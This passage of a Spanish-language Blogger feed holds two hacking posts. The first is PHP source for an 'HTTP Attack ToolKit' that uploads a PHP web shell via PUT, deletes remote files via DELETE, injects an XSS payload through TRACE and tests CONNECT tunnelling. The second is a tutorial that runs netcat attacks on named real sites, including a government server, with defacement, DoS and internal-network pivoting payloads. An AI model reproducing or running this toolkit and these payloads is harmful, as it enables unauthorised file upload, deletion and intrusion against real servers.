value=&amp;quot;&amp;quot;.htmlentities($_REQUEST[&amp;quot;host&amp;quot;]).&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;a&amp;gt;Puerto: &amp;lt;input name=&amp;quot;puerto&amp;quot; size=&amp;quot;17&amp;quot; type=&amp;quot;text&amp;quot; value=&amp;quot;&amp;quot;.htmlentities($_REQUEST[&amp;quot;puerto&amp;quot;]).&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Scannear!&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&amp;lt;/html&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;######################################## OPCIONES #################################&lt;br /&gt;function opt()&lt;br /&gt;{&lt;br /&gt;error_reporting(0);&lt;br /&gt;set_time_limit(0);&lt;br /&gt;$TimeOut = 2;&lt;br /&gt;&lt;br /&gt;if (isset($_POST[&amp;quot;host&amp;quot;]) &amp;amp;&amp;amp; isset($_POST[&amp;quot;puerto&amp;quot;]))&lt;br /&gt;{&lt;br /&gt;$host = htmlentities($_POST[&amp;quot;host&amp;quot;]);&lt;br /&gt;&lt;br /&gt;if(is_numeric($_POST[&amp;quot;puerto&amp;quot;]))&lt;br /&gt;{&lt;br /&gt;$puerto = htmlentities($_POST[&amp;quot;puerto&amp;quot;]);&lt;br /&gt;}else{&lt;br /&gt;print &amp;quot;Solo Numeros!&amp;quot;;&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;if(!$TimeOut)&lt;br /&gt;{&lt;br /&gt;$sock = @fsockopen($host, $puerto);&lt;br /&gt;}else{&lt;br /&gt;$sock = @fsockopen($host, $puerto, &amp;amp;$errno, &amp;amp;$errstr, $TimeOut);&lt;br /&gt;}&lt;br /&gt;if(!$sock) {&lt;br /&gt;    echo &amp;quot;&amp;lt;h2&amp;gt;Puerto $puerto Cerrado&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;    exit();&lt;br /&gt;}&lt;br /&gt;$header=htmlentities($_GET[&amp;quot;header&amp;quot;]);&lt;br /&gt;$socket = @fsockopen($header, 80, &amp;amp;$errno, &amp;amp;$errstr, 10);&lt;br /&gt;$head = @fputs($sock, &amp;quot;OPTIONS / HTTP/1.0\n\n&amp;quot;);&lt;br /&gt;&lt;br /&gt;while(!feof($sock) ) {&lt;br /&gt;$buffer .= htmlentities(fgets($sock, 4096));&lt;br /&gt;}&lt;br /&gt;list($basura, $todo) = explode(&amp;quot;Server: &amp;quot;, $buffer);&lt;br /&gt;list($server, $basura) = explode(&amp;quot;\n&amp;quot;, $todo);&lt;br /&gt;unset($basura, $todo);&lt;br /&gt;&lt;br /&gt;list($basura, $todo) = explode(&amp;quot;Allow: &amp;quot;, $buffer);&lt;br /&gt;list($allow, $basura) = explode(&amp;quot;\n&amp;quot;, $todo);&lt;br /&gt;unset($basura, $todo);&lt;br /&gt;&lt;br /&gt;echo &amp;quot;&amp;lt;b&amp;gt;Servidor: $server&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;&amp;lt;b&amp;gt;Metodos Permitidos: $allow&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;&lt;br /&gt;if(ereg(&amp;quot; PUT, &amp;quot;, $allow)) echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;a&amp;gt;Se ha Detectado El Metodo PUT, desea atacar? &amp;lt;a href=&amp;quot;?atack=put&amp;amp;host=$host&amp;amp;puerto=$puerto&amp;quot;&amp;gt;SI&amp;lt;/a&amp;gt; | &amp;lt;a&amp;gt;No&amp;lt;/a&amp;gt;&amp;lt;hr&amp;gt;&amp;quot;;&lt;br /&gt;if(ereg(&amp;quot; DELETE, &amp;quot;, $allow))&lt;br /&gt;{&lt;br /&gt;echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;a&amp;gt;Se ha Detectado El Metodo DELETE&amp;quot;;&lt;br /&gt;echo &amp;quot;&lt;br /&gt;&amp;lt;center&amp;gt;&amp;lt;form action=&amp;quot;delete.php&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;host&amp;quot; value=&amp;quot;&amp;quot;.$host.&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;puerto&amp;quot; value=&amp;quot;&amp;quot;.$puerto.&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;b&amp;gt;Especifica el archivo a borrar: &amp;lt;/b&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;borrar&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;subx&amp;quot; value=&amp;quot;Borrar&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;&amp;lt;hr&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;if(ereg(&amp;quot; TRACE&amp;quot;, $allow)) echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;a&amp;gt;Se ha Detectado El Metodo TRACE, desea atacar? &amp;lt;a href=&amp;quot;?atack=trace&amp;amp;host=$host&amp;amp;puerto=$puerto&amp;quot;&amp;gt;SI&amp;lt;/a&amp;gt; | &amp;lt;a&amp;gt;No&amp;lt;/a&amp;gt;&amp;lt;hr&amp;gt;&amp;quot;;&lt;br /&gt;if(ereg(&amp;quot; CONNECT, &amp;quot;, $allow)) echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;a&amp;gt;Altas Posibilidades De Ataque MITM, Desea Probar Un Ataque Tunneling? &amp;lt;a href=&amp;quot;?atack=connect&amp;amp;host=$host&amp;amp;puerto=$puerto&amp;quot;&amp;gt;SI&amp;lt;/a&amp;gt; | &amp;lt;a&amp;gt;No&amp;lt;/a&amp;gt;&amp;lt;hr&amp;gt;&amp;quot;;&lt;br /&gt;include(&amp;quot;consola.php&amp;quot;);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;######################################### PUT #####################################&lt;br /&gt;function put()&lt;br /&gt;{&lt;br /&gt;$shell = &amp;quot;PWS.php&amp;quot;;&lt;br /&gt;if (isset($_GET[&amp;quot;host&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;puerto&amp;quot;])) {&lt;br /&gt;$host = htmlentities($_GET[&amp;quot;host&amp;quot;]);&lt;br /&gt;if(is_numeric($_GET[&amp;quot;puerto&amp;quot;]))&lt;br /&gt;{&lt;br /&gt;$puerto = htmlentities($_GET[&amp;quot;puerto&amp;quot;]);&lt;br /&gt;}&lt;br /&gt;if(!$TimeOut) $sock = @fsockopen($host, $puerto); else $sock = @fsockopen($host, $puerto, &amp;amp;$errno, &amp;amp;$errstr, $TimeOut);&lt;br /&gt;if(!$sock) {&lt;br /&gt;    echo &amp;quot;&amp;lt;h2&amp;gt;Puerto $puerto Cerrado&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;    exit();&lt;br /&gt;}&lt;br /&gt;$file = fopen($shell, &amp;quot;r&amp;quot;);&lt;br /&gt;$codigo = fread($file, filesize($shell));&lt;br /&gt;fclose($file);&lt;br /&gt;$lenght = strlen($codigo);&lt;br /&gt;$head = @fputs($sock, &amp;quot;PUT /PWS.php HTTP/1.0\nHost: $host\nProxy-Connection: keep-alive\nContent-Type: multipart/form-data\nContent-Length: $lenght\nContent-Type: text/html\n\n$codigo\n\n&amp;quot;);&lt;br /&gt;&lt;br /&gt;while(!feof($sock) ) {&lt;br /&gt;$buffer .= htmlentities(fgets($sock, 4096)); $buffer .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;echo $buffer;&lt;br /&gt;}&lt;br /&gt;$error = &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Ataque Fallido, No Tenemos Permisos :(, Puedes Intentar con el header: Authorization.&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;$ok = &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Ataque Logrado :), Disfrutalo: http://$host/PWS.php&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;&lt;br /&gt;if(ereg(&amp;quot;[HTTP/1.1 401 ]+[HTTP/1.1 301 ]+[HTTP/1.1 302 ]+[HTTP/1.1 203 ]+[HTTP/1.1 403 ]&amp;quot;, $buffer))&lt;br /&gt;{&lt;br /&gt;echo $error;&lt;br /&gt;}elseif(ereg(&amp;quot;[HTTP/1.1 200 ]+[HTTP/1.1 201 ]+[HTTP/1.1 302 ]&amp;quot;,$buffer))&lt;br /&gt;{&lt;br /&gt;echo $ok;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Posible Desborde de Buffer en Metodo PUT&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;######################################## TRACE ###################################&lt;br /&gt;function trace()&lt;br /&gt;{&lt;br /&gt;$shell = &amp;quot;PWS.php&amp;quot;;&lt;br /&gt;if (isset($_GET[&amp;quot;host&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;puerto&amp;quot;])) {&lt;br /&gt;$host = htmlentities($_GET[&amp;quot;host&amp;quot;]);&lt;br /&gt;if(is_numeric($_GET[&amp;quot;puerto&amp;quot;]))&lt;br /&gt;{&lt;br /&gt;$puerto = htmlentities($_GET[&amp;quot;puerto&amp;quot;]);&lt;br /&gt;}&lt;br /&gt;if(!$TimeOut)&lt;br /&gt;{&lt;br /&gt;$sock = @fsockopen($host, $puerto);&lt;br /&gt;}else{&lt;br /&gt;$sock = @fsockopen($host, $puerto, &amp;amp;$errno, &amp;amp;$errstr, $TimeOut);&lt;br /&gt;}&lt;br /&gt;if(!$sock) {&lt;br /&gt;    echo &amp;quot;&amp;lt;h2&amp;gt;Puerto $puerto Cerrado&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;    exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$head = @fputs($sock, &amp;quot;TRACE / HTTP/1.0\nHost: $host\nXSS: &amp;lt;script&amp;gt;alert(&amp;quot;XSS en TRACE&amp;quot;)&amp;lt;/script&amp;gt;\n\n&amp;quot;);&lt;br /&gt;&lt;br /&gt;while(!feof($sock) ) {&lt;br /&gt;$buffer .= fgets($sock, 4096); $buffer .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;echo $buffer;&lt;br /&gt;if(ereg(&amp;quot;&amp;quot;XSS en TRACE&amp;quot;&amp;quot;, $buffer)) echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Vulnerable a XSS :)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;if(ereg(&amp;quot;TRACE / HTTP/1.0&amp;quot;, $buffer)) echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Posibilidad de Ataques DoS, Mediante Consumo de Banda :)&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#################################### CONNECT ################################&lt;br /&gt;function connect()&lt;br /&gt;{&lt;br /&gt;if(isset($_GET[&amp;quot;host&amp;quot;]) &amp;amp;&amp;amp; isset($_GET[&amp;quot;puerto&amp;quot;])) {&lt;br /&gt;$host = htmlentities($_GET[&amp;quot;host&amp;quot;]);&lt;br /&gt;if(is_numeric($_GET[&amp;quot;puerto&amp;quot;])) $puerto = $_GET[&amp;quot;puerto&amp;quot;];&lt;br /&gt;if(!$TimeOut)&lt;br /&gt;{&lt;br /&gt;$sock = @fsockopen($host, $puerto);&lt;br /&gt;}else{&lt;br /&gt;$sock = @fsockopen($host, $puerto, &amp;amp;$errno, &amp;amp;$errstr, $TimeOut);&lt;br /&gt;}&lt;br /&gt;if(!$sock) {&lt;br /&gt;    echo &amp;quot;&amp;lt;h2&amp;gt;Puerto $puerto Cerrado&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;    exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$head = @fputs($sock, &amp;quot;CONNECT www.google.com:80 HTTP/1.0\nHost: $host\nProxy-Connection: keep-alive\n\n&amp;quot;);&lt;br /&gt;&lt;br /&gt;while(!feof($sock) ) {&lt;br /&gt;$buffer .= htmlentities(fgets($sock, 4096)); $buffer .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;echo $buffer;&lt;br /&gt;}&lt;br /&gt;$error = &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Ataque Tuneling Fallido.&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;$ok = &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Ataque Tunneling Correcto :)&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;&lt;br /&gt;if(ereg(&amp;quot;[HTTP/1.1 400 ]+[HTTP/1.1 405 ]+[HTTP/1.1 401 ]+[HTTP/1.1 301 ]+[HTTP/1.1 302 ]+[HTTP/1.1 302 ]+[HTTP/1.1 203 ]&amp;quot;, $buffer))&lt;br /&gt;{&lt;br /&gt;echo $error;&lt;br /&gt;}elseif(ereg(&amp;quot;[HTTP/1.1 200 ]+[HTTP/1.1 201 ]&amp;quot;,$buffer))&lt;br /&gt;{&lt;br /&gt;echo $ok;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;delete.php&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size: 100%;"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;include(&amp;quot;functions.php&amp;quot;);&lt;br /&gt;formulario();&lt;br /&gt;opt();&lt;br /&gt;if (isset($_POST[&amp;quot;host&amp;quot;]) and isset($_POST[&amp;quot;puerto&amp;quot;]) and isset($_POST[&amp;quot;subx&amp;quot;])) {&lt;br /&gt;$borrar = $_POST[&amp;quot;borrar&amp;quot;];&lt;br /&gt;$host = htmlentities($_GET[&amp;quot;host&amp;quot;]);&lt;br /&gt;if(is_numeric($_GET[&amp;quot;puerto&amp;quot;]))&lt;br /&gt;{&lt;br /&gt;$puerto = $_GET[&amp;quot;puerto&amp;quot;];&lt;br /&gt;}&lt;br /&gt;if(!$TimeOut)&lt;br /&gt;{&lt;br /&gt;$sock = @fsockopen($host, $puerto);&lt;br /&gt;}else{&lt;br /&gt;$sock = @fsockopen($host, $puerto, &amp;amp;$errno, &amp;amp;$errstr, $TimeOut);&lt;br /&gt;}&lt;br /&gt;if(!$sock) {&lt;br /&gt;    echo &amp;quot;&amp;lt;h2&amp;gt;Puerto $puerto Cerrado&amp;lt;/h2&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;    exit();&lt;br /&gt;}&lt;br /&gt;$head = @fputs($sock, &amp;quot;DELETE /$borrar HTTP/1.0\nHost: $host\nProxy-Connection: keep-alive\n\n&amp;quot;);&lt;br /&gt;$buffer = &amp;quot;&amp;quot;;&lt;br /&gt;while(!feof($sock) ) {&lt;br /&gt;$buffer .= htmlentities(fgets($sock, 4096)); $buffer .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;}&lt;br /&gt;echo $buffer;&lt;br /&gt;}&lt;br /&gt;$error = &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Ataque Fallido, No Tenemos Permisos :(, Puedes Intentar con el header: Authorization.&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;$ok = &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Ataque Logrado :)&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;&lt;br /&gt;if(ereg(&amp;quot;[HTTP/1.1 401 ]+[HTTP/1.1 301 ]+[HTTP/1.1 302 ]+[HTTP/1.1 203 ]&amp;quot;, $buffer))&lt;br /&gt;{&lt;br /&gt;echo $error;&lt;br /&gt;}elseif(ereg(&amp;quot;[HTTP/1.1 200 ]+[HTTP/1.1 201 ]+[HTTP/1.1 302 ]&amp;quot;,$buffer))&lt;br /&gt;{&lt;br /&gt;echo $ok;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3280789820578488161?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3280789820578488161/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3280789820578488161' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3280789820578488161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3280789820578488161'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/08/http-attack-toolkit-by-uxmal-inyexion.html' title='HTTP Attack ToolKit By UxMal &amp; Inyexion (sources code)'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3446453294996784525</id><published>2008-08-18T13:05:00.000-07:00</published><updated>2008-09-08T17:48:55.512-07:00</updated><title type='text'>Demostracion Hacking HTTP</title><content type='html'>&lt;b&gt;Esto es solo un texto de introducci�n, para mas informaci�n leer sobre protocolo HTTP.&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;Le puse este titulo a la web, por que en este texto voy a explicar un poco de hackeo mediante M�todos HTTP y HTTP Headers.&lt;br /&gt;&lt;br /&gt;Pocos texto se encuentran en la red sobre hackeo por m�todos HTTP, as� que muchos como yo tuvimos que aprender por las malas jaja, bueno comencemos:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Que es un Metodo HTTP?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Un Metodo HTTP es una forma u orden HTTP que es enviada a un servidor web para que dicho servidor maneje dicha informaci�n de dicha forma.&lt;br /&gt;&lt;br /&gt;Ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;GET / HTTP/1.1&lt;br /&gt;Host: google.com&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;En este caso estamos usando el m�todo GET, dicho m�todo sirve para obtener una pagina especifica.&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;&lt;br /&gt;Que es un Header?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Un Header es una especie de variable que contiene cierta informaci�n, como el header cookie, que contiene la cookie para el host actual.&lt;br /&gt;&lt;br /&gt;Ejemplo:&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;GET / HTTP/1.1&lt;br /&gt;Host: google.com&lt;br /&gt;Cookie: cookie = alguna_cookie&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;En este caso hay 2 headers, el header Host, que le dice al servidor que web solicitamos (esto se usa en servers compartidos o dominios y subdominios) y el header cookie que contiene una cookie de nombre cookie y valor alguna_cookie (que ironia xD).&lt;br /&gt;&lt;br /&gt;&lt;span style="line-height: 1.3em;font-size:12;" &gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;Que M�todos HTTP Existen?&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Existen muchos m�todos HTTP como para listar todos, pero listare los mas usados y su uso:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;GET:&lt;/b&gt; Solicita una pagina.&lt;br /&gt;&lt;b&gt;HEAD:&lt;/b&gt; Esto Devuelve solo los headers de la pagina solicitada.&lt;br /&gt;&lt;b&gt;OPTIONS:&lt;/b&gt; Solicita las opciones permitidas por el server web.&lt;br /&gt;&lt;b&gt;POST:&lt;/b&gt; Remite una informaci�n (como en un login).&lt;br /&gt;&lt;b&gt;TRACE:&lt;/b&gt; Es una especie de eco, es decir lo que env�es te contesta.&lt;br /&gt;&lt;b&gt;PUT:&lt;/b&gt; Guarda en su �rbol web el archivo o registro enviado.&lt;br /&gt;&lt;b&gt;CONNECT:&lt;/b&gt; Este M�todo crea una conexi�n con el servidor especificado, esto es �til para hacer tunnelings.&lt;br /&gt;&lt;b&gt;DELETE:&lt;/b&gt; Borra un Registro o Archivo especificado.&lt;br /&gt;&lt;br /&gt;Vamos uno por uno con ejemplos:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;UxMal ~ # nc -vvv &lt;a href="http://www.cursohacker.com/" target="_blank"&gt;www.cursohacker.com&lt;/a&gt; 80&lt;br /&gt;DNS fwd/rev mismatch: &lt;a href="http://www.cursohacker.com/" target="_blank"&gt;www.cursohacker.com&lt;/a&gt; != alumnoz.com&lt;br /&gt;&lt;a href="http://www.cursohacker.com/" target="_blank"&gt;www.cursohacker.com&lt;/a&gt; [64.246.22.103] 80 (http) open&lt;br /&gt;OPTIONS / HTTP/1.1&lt;br /&gt;Host: cursohacker.com&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Date: Sat, 19 Jan 2008 21:18:54 GMT&lt;br /&gt;Server: Apache/2.0.46 (Red Hat)&lt;br /&gt;Allow: GET,HEAD,POST,OPTIONS,TRACE&lt;br /&gt;Content-Length: 0&lt;br /&gt;Content-Type: application/x-httpd-php&lt;br /&gt;&lt;br /&gt;sent 42, rcvd 183&lt;br /&gt;&lt;/div&gt;Enviamos un Options, y nos devolvi� los m�todos:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;Allow: GET,HEAD,POST,OPTIONS,TRACE&lt;/div&gt;&lt;br /&gt;Me dir�n y esto de que nos sirve?&lt;br /&gt;&lt;b&gt;Simple:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;El metodo TRACE, a realizar un eco, podemos utilizarlo para hacer un XSS, y por enden un Cookie Spoofing, al mismo tiempo esto puede ser usado para Saltar la protecci�n HTTPOnly de las cookies, y aparte de esto, las protecciones de Consumo de Banda quedan b�sicamente in�tiles, ya que casi ninguna filtra el m�todo TRACE, por ello la banda no se cuenta y se puede utilizar para floodear al servidor.&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;TRACE / HTTP/1.0&lt;br /&gt;Host: cursohacker.com&lt;br /&gt;XSS: &amp;lt;script&amp;gt;alert('UxMal Was Here')&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;TRACE / HTTP/1.0&lt;br /&gt;Host: cursohacker.com&lt;br /&gt;DoS: mucho texto&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;span style="text-decoration: underline;"&gt;Como ver�n hasta los de cursohacker.com tienen problemas con esto jejeje, Bueno Vamos por mas:&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;UxMal ~ # nc -vvv &lt;a href="http://www.sep.gob.mx/" target="_blank"&gt;www.sep.gob.mx&lt;/a&gt; 80&lt;br /&gt;Warning: inverse host lookup failed for 168.255.253.26: Unknown host&lt;br /&gt;&lt;a href="http://www.sep.gob.mx/" target="_blank"&gt;www.sep.gob.mx&lt;/a&gt; [168.255.253.26] 80 (http) open&lt;br /&gt;OPTIONS / HTTP/1.0&lt;br /&gt;Host: sep.gob.mx&lt;br /&gt;&lt;br /&gt;HTTP/1.1 200 OK&lt;br /&gt;Server: Sun-ONE-Application-Server/7.0.0_09&lt;br /&gt;Date: Sat, 19 Jan 2008 23:58:05 GMT&lt;br /&gt;Content-length: 0&lt;br /&gt;Content-type: text/html&lt;br /&gt;Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS&lt;br /&gt;Connection: close&lt;br /&gt;&lt;br /&gt;sent 37, rcvd 217&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Permite:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Vamos a Probar DELETE:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;UxMal ~ # nc -vvv &lt;a href="http://www.sep.gob.mx/" target="_blank"&gt;www.sep.gob.mx&lt;/a&gt; 80&lt;br /&gt;Warning: inverse host lookup failed for 168.255.253.26: Unknown host&lt;br /&gt;&lt;a href="http://www.sep.gob.mx/" target="_blank"&gt;www.sep.gob.mx&lt;/a&gt; [168.255.253.26] 80 (http) open&lt;br /&gt;DELETE /index.htm HTTP/1.1&lt;br /&gt;Host: sep.gob.mx&lt;br /&gt;&lt;br /&gt;HTTP/1.1 401 Unauthorized&lt;br /&gt;Server: Sun-ONE-Application-Server/7.0.0_09&lt;br /&gt;Date: Sun, 20 Jan 2008 00:02:22 GMT&lt;br /&gt;Content-length: 223&lt;br /&gt;Content-type: text/html&lt;br /&gt;WWW-authenticate: Basic realm="Sun ONE Application Server"&lt;br /&gt;&lt;br /&gt;&amp;lt;HTML&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;TITLE&amp;gt;Unauthorized&amp;amp;lt/TITLE&amp;gt;&amp;lt;/HEAD&amp;amp;gt&lt;br /&gt;&amp;lt;BODY&amp;gt;&amp;lt;H1&amp;gt;Unauthorized&amp;lt;/H1&amp;gt;&lt;br /&gt;Proper authorization is required for this area. Either your browser does not perform authorization, or your authorization has failed.&lt;br /&gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&lt;br /&gt;&lt;/div&gt;P�rese que tiene un ligero filtro, como lo saltamos?, simple, creamos un header WWW-authenticate, com�nmente los servidores no tienen un password seteado para esto o casi siempre el usuario y/o password es el dominio.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Un PUT:&lt;/b&gt;&lt;br /&gt;El Header PUT, como ya dije sirve para crear un archivo o registro en el �rbol web del server.&lt;br /&gt;&lt;br /&gt;Por ello sirve como upload:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;PUT /hacked.htm HTTP/1.1&lt;br /&gt;Host: &lt;a href="http://www.sep.gob.mx/" target="_blank"&gt;www.sep.gob.mx&lt;/a&gt;&lt;br /&gt;Content-Lengt:  cantidad de bites del archivo&lt;br /&gt;&lt;br /&gt;&amp;lt;h1&amp;gt;UxMal Was Here&amp;lt;/h1&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;CONNECT:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div class="quote"&gt;CONNECT 192.168.1.1 HTTP/1.1&lt;br /&gt;Host: webvulnerable.com&lt;br /&gt;&lt;br /&gt;GET / HTTP/1.0&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;De esta Forma nos conectar�amos a la ip 192.168.1.1 (ip privada) dentro de la red del servidor web y solicitamos /, Lo De mas Queda a la imaginaci�n...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Esto es solo un texto de introducci�n, para mas informaci�n leer sobre protocolo HTTP.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Nota: estos m�todos son un poco viejos, pero como demostr� aun sirve jejeje.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3446453294996784525?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3446453294996784525/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' 